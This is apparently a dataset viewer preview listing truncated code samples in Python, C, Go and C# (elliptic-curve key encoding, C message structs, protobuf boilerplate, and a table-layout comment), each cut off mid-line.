Q_uncompressed = b"\x04" + x_Q_bytes + Q[1].to_bytes(32, byteorder="big", signed=False)
Q_uncompressed_hexstring = Q_uncompressed.hex()
Q_uncompressed_hexstring2 = " " + Q... | Python |
#define _DEFBLOCKSIZE 16
#define _DEFBLOCKSIZE 16
#define _FEATURESIZE 6
#define _CHARDESCSIZE 11
#define _FEATURESIZEEX 4
typedef struct tag_TDEFAULTMESSAGE
{
int nRecog;
WORD wIdent;
WORD wParam;
WORD wTag;
WORD wSeries;
} _TDEFAULTMESSAGE, *_LPTDEFAULTMESSAGE;
typedef struct tag_TSHORTMSSEAGE
{
WORD w... | C |
impl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *CancelScannerSubscription) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*CancelScannerSubscription) ProtoMessage() {}
func (x *CancelScannerSubscription) ProtoReflect() protoreflect.Message {
mi := &file_CancelScannerSubscription_proto_msgType... | Go |
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
*
* eg. has no space: multi-rows occupy all space in this row.
* __________________________________
* | 2x1 cell | 2x2 cell |
* -> | | |
* ‾... | C# |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.